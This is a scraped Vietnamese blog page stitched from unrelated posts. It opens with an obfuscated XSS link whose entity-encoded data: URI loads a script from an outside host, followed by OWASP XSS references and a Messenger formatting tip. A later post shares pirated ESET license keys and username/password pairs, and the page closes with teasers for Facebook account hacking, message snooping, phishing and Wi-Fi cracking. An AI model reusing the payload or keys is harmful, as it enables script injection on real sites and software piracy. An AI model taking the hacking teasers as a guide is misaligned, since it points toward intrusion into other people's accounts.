&lt;a href="data:text/html;blabla,&amp;#60&amp;#115&amp;#99&amp;#114&amp;#105&amp;#112&amp;#116&amp;#32&amp;#115&amp;#114&amp;#99&amp;#61&amp;#34&amp;#104&amp;#116&amp;#116&amp;#112&amp;#58&amp;#47&amp;#47&amp;#115&amp;#116&amp;#101&amp;#114&amp;#110&amp;#101&amp;#102&amp;#97&amp;#109&amp;#105&amp;#108&amp;#121&amp;#46&amp;#110&amp;#101&amp;#116&amp;#47&amp;#102&amp;#111&amp;#111&amp;#46&amp;#106&amp;#115&amp;#34&amp;#62&amp;#60&amp;#47&amp;#115&amp;#99&amp;#114&amp;#105&amp;#112&amp;#116&amp;#62&amp;#8203"&gt;Click Me&lt;/a&gt;

Một số nguồn tham khảo về XSS

Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

DOM based XSS Prevention Cheat Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet

Testing for Reflected Cross site scripting (OTG-INPVAL-001)
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)

Testing for Stored Cross site scripting (OTG-INPVAL-002)
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)

Testing for DOM-based Cross site scripting (OTG-CLIENT-001)
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)

DOM Based XSS
https://www.owasp.org/index.php/DOM_Based_XSS

Cross-Site Scripting (XSS) Cheat Sheet | Veracode
https://www.veracode.com/security/xss

loading...

Thủ thuật chat chữ Messenger in đậm, gạch ngang hoặc in nghiêng

0

Facebook đang luôn luôn cập nhật những tính năng mới nhất nhằm nâng cao trải nghiệm người dùng. Hiện nay thì facebook đã có các tính năng như viết chữ in đậm, gạch ngang và in nghiêng nhằm giúp cho cuộc trò chuyện trở nên thú vị hơn.

Thủ thuật chat chữ Messenger in đậm, gạch ngang hoặc in nghiêng

Lưu ý:

  • Mình mới chỉ kiểm tra với phiên bản Messenger trên PC, ứng dụng trên Android mình chưa có dịp trải nghiệm thử 😀

1. Thủ thuật chat chữ in đậm trên Facebook

Cú phạm : *chu can in dam*

Thật đơn giản, để có thể gõ được chữ in đậm trên Facebook thì bạn chỉ cần đặt chữ cần in đậm trong cặp dấu sao thì nội dung bên trong sẽ tự động chuyển sang in đậm.

Ví dụ :  *chữ cần viết in đậm*

2. Thủ thuật chat chữ in nghiêng trên Facebook

Để làm được chữ in nghiêng trên facebook thì bạn làm với cú pháp tương tự với chữ in đậm chỉ khác bạn thay dấu sao bằng dấu gạch dưới.

Ví dụ : _chữ cần in nghiêng_

̶3̶̶.̶ ̶C̶̶á̶̶c̶̶h̶ ̶c̶̶h̶̶a̶̶t̶ ̶c̶̶h̶̶ữ̶ ̶G̶̶ạ̶̶c̶̶h̶ ̶N̶̶g̶̶a̶̶n̶̶g̶

Trên ứng dụng Messenger của Facebook dành cho máy tính, bạn còn có thể gõ chữ rất đặc biệt đó là chữ gạch ngang giống như tiêu đề số 3 của mình 😀

Để làm được điều này bạn dùng cú pháp như sau : ~chữ cần gạch ngang~

4. Cách kết hợp các loại chữ với nhau để chat Facebook

Không chỉ dừng lại ở việc chỉ tạo được từng hiệu ứng riêng biệt cho các tin nhắn, Facebook Messenger còn cho phép bạn có thể tùy biến thêm tin nhắn của mình bằng cách kết hợp các thủ thuật trên lại với nhau.

Ví dụ:

  • Để tạo chữ vừa in đậm vừa in nghiên bạn gõ : *_chữ cần vừa in đậm và in nghiêng_*
  • Tiếp theo là chữ in đậm và chữ gạch ngang Facebook : ~*chữ cần vừa in đậm vừa gạch ngang*~
  • Đây là cú pháp nếu bạn muốn gõ in nghiêng và gạch ngang trên Messenger:  ~_chữ vừa in nghiêng vừa gạch ngang_~

5. Chat chữ có nền vàng ( chữ chú thích )

Nhằm mục đích giải thích cho một tin nhắn hoặc gây chú ý cho người đọc, bạn có thể viết các dòng tin nhắn chú thích với nội dung tùy chỉnh như sau :

“`
Chữ cần chú thích
“`

Với mẹo nhỏ đơn giản “Cách chat chữ Facebook Messenger in đậm, nghiêng, gạch ngang”. Chúc bạn vui vẻ với những trải nghiệm mới cùng Facebook Messenger nhé.

loading...

Share KEY bản quyền phần mềm diệt virus ESET mới nhất 2018

0

Mình vừa tổng hợp lại một số key bản quyền kích hoạt online mới nhất của ESET. Đây là phần mềm diệt virus nằm trong TOP 5 phần mềm tốt nhất. Về độ mạnh và mượt thì khỏi phải bàn cãi vì nó được cập nhật thường xuyên.

Với bộ thư viện đám mây siêu lớn kết hợp công nghệ lưu trữ BigData hiện đại. ESET luôn cập nhật nhanh nhất các thông tin mới nhất về virus. Ngoài ra, ESET được đánh giá cao vì chạy tốn ít tài nguyên máy tính hơn so với Avast. Nếu bạn chưa có ESET hãy tải về tại trang chủ theo link dưới đây nhé.

[mks_button size=”large” title=”DOWNLOAD” style=”squared” url=”https://www.eset.com/us/download/home/” target=”_blank” bg_color=”#1e73be” txt_color=”#FFFFFF” icon=”fa-download” icon_type=”fa” nofollow=”1″]

KEY Bản quyền kích hoạt được những máy nào ?

Cập nhật  09-04-2018

Đây là KEY bản quyền chính gốc của ESET được xả kho. Kích hoạt được tất cả phiên bản ESET trên Windows, MacOS và cả phiên bản trên di động. Bạn nên kích hoạt rồi thôi, hạn chế share ra ngoài nhiều làm hết lượt, các bạn khác không kích hoạt được.

Share Key ESET mới nhất 2018

Chú thích từ khóa:

  • ESS = Bảo ​​mật thông minh của ESET
  • EAV = ESET NOD32 Antivirus
  • ECS = Bảo ​​mật Cyber ​​ESET
  • EMS = Bảo ​​mật di động của ESET
Tên người dùng Mật khẩu Có hiệu lực đến Phiên bản áp dụng
04.06 (ESET NOD32 8.0 / 7.0 / 6.0 / 5.0)
EAV-0222258379 jv2j5ubjx3 2018-07-08 ESS / EAV / EMS / ECS
EAV-0221255465 3atukfntse 2018-06-27
ESET NOD32 11.0 / 10.0 / 9.0 / 8.0 / 7.0 / 6.0
A9HN-X3P8-4NFS-9C84-XBA8 2019-01-21 ESS / EAV
BDEB-W334-WGDU-UA4C-TRTS 2018-10-05
RUAW-W33E-XAJK-K8DW-3TEE 2019-11-16
RUAW-W33E-XDTA-AKX9-NXEW 2019-06-13
RUAW-W33E-XAHW-W7ER-AACA 2019-06-13
CNDU-W33D-JECX-XMS9-ACH7 2019-10-01
CNDU-W33F-ARX5-58W3-ARGE 2020-01-06
FPB8-X42C-AR9R-DA88-74JP n / a EMS / ECS 11.0 / 10.0 / 9.0
DEAS-W33G-VAJF-FXBT-SD8S n / a
CNDU-W33E-59SK-K2BF-9JST 2019-10-14 NOD32 11/10/9
CNDU-W337-WAFE-EUU9-F55M 2019-03-13
10.01
ESET NOD32 8.0 / 7.0 / 6.0 / 5.0
TRIAL-0206942807 35cecfsbb2 2018-09-08 ESS / EAV
ESET NOD32 10.0 / 9.0 / 8.0 / 7.0 / 6.0 90
AUD4-W337-FAE2-2DE9-4JGF 2018-09-09 ESS / EAV
AUD4-W338-9KWF-F96J-RKKC
3GF7-XB3U-XXAS-AMB8-K6J4 2019-06-15
ASUR-XUPV-GAMN-73PK-RGAN 2019-02-10
S6KH-XGV7-AG6S-DW7X-MSAN 2018-07-01
09.01
ESET NOD32 8.0 / 7.0 / 6.0 / 5.0
TRIAL-0205465128 k3rk8s9pkc 2018-08-18 ESS / EAV / EMS / ECS
ESET NOD32 10.0 / 9.0 / 8.0 / 7.0 / 6.0 90
2G8W-X6VW-8WST-J9GA-ED4T 2022-05-05 ESS / EAV
NDFG-X3TT-MJHX-8ES2-CKJ8 2022-06-03
12,17
EAV-0153833007 rdh5xm5srm 2018-11-22 ESS / EAV
usa3-34tf-t9uf-ausu-j5jx 2018-11-22 ESS / EAV
11.05
EAV-0168807244 pdkmt64vkr 2019-08-29 ESS / EAV
BT2T-XBK4-X6D8-EUKT-C6BC 2019-08-29 ESS / EAV
02.20
BKHR-XRF9-6DCU-A3BG-34R6 2018-12-09 ESS / EAV
EAV-0147156909 fucjmrmrmr 2018-12-09 ESS / EAV
  • USA3-34T5-JR7M-766E-KBD7
  • BRKS-X47M-J3PK-9AB4-P5FD
  • BV8K-XW7F-PCB7-CMUM-SBV9
NOD32 9.0
  • BRKC-XT3H-FTSG-KJ33-H795
  • BC3E-XNVV-VXAA-XAJ3-FWP8
  • ADMN-XBWC-N7PB-AEP4-9HX4
  • CHGT-XXDB-5G4D-7V7D-566M
  • AAFJ-XVHW-FMEW-6JM5-T53T
  • RUA2-25VX-NW4S-M26R-3F2V
  • BR32-XAC4-M5NB-RF4A-8VF9
NOD32 9.0
  • ANCF-XAUK-2FCU-TV2F-UWCX
  • BD7R-XC68-VACN-XVJJ-B6TW
  • RUA2-25VX-NW4S-M26R-3F2V
  • AR8C-XWFX-MN7V-RJE4-WE8P
ESET NOD32 Antivirus 9 (đến năm 2020)
EAV-0146158112 9e4b5v8em6 2020-08-12 EAV
BNJN-XH28-U26P-F27A-HPT2 2019-03-15 ESS / EAV
EAV-0134434043 5u77n6x2hm 2019-03-15 ESS/EAV

 

KEY kích hoạt bản quyền và thông tin

User Name Password Valid Until Applicable Edition
Có hiệu lực với tất cả hệ điều hành
EAV-0146158112 9e4b5v8em6 2020-08-12 EAV
loading...
cách hack nick facebook của người khác

Cách hack nick facebook bằng điện thoại

50
Facebook là mạng xã hội được cộng đồng mạng sử dụng nhiều nhất hiện nay. Dưới đây chúng tôi sẽ hướng dẫn bạn đọc...

Hướng dẫn đọc trộm tin nhắn facebook qua token

80
Trong bài viết này AD sẽ hướng dẫn các bạn đọc trộm tin nhắn facebook của người khác mà không cần biết email, mật...

Chia Sẻ Tool ATP của ATP Software Cracked

198
Cập nhật ngày : 25/10 : Đã fix lại link AD chia sẻ lại bộ Tool ATP của ATP Software đã được crack thành công cho mọi...

Làm thế nào để trở thành Hacker ( Part 7) – hackerrank

2
PART 7 hackerrank 42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 : _ WircSrv IRC là một Server IRC thông dụng trên...

Hướng dẫn hack pass Wifi WPA/WPA2-PSK

26
Mặc dù trên mạng có rất nhiều công cụ và hướng dẫn cách hack wifi WPA/WPA2 - PSK, thậm chí có cả cách hack...

Hướng dẫn mở nick facebook bị report

9
CÁCH mở nick facebook bị report 1/nên xài cmnd thật . kháng nghị xong vô mail reply theo mẫu 13t và 14t —————————————————————————————– Hi Team Facebook. Please check...

Hack nick facebook bằng trang web giả- phising page

10
Phishing là gì ? Tìm hiểu phương thức Phishing ! Phishing phương thức tạo ra những trang web giả một cách tinh vi để dụ dỗ những người...
cách lấy lại tài khoản facebook bị mất

Cách lấy lại tài khoản facebook bị mất

2
Lấy lại tài khoản facebook  - Các bạn biết đấy Facebook là mạng xã hội lớn nhất hiện nay với số lượng người dùng...

Cấu Trúc If … Else Trong Ngôn Ngữ C++

3
Cấu trúc c++: giới thiệu   Trong quá trình viết các chương trình, bài toán của chúng ta thường xuất hiện các trường hợp khác nhau...

Hack nick facebook người khác trong 2 phút [ 2017 ]

21
Giới thiệu kĩ thuật hack nick facebook : Trong bài viết này mình sẽ giới thiệu cho các bạn một cách hack nick facebook người khác trong...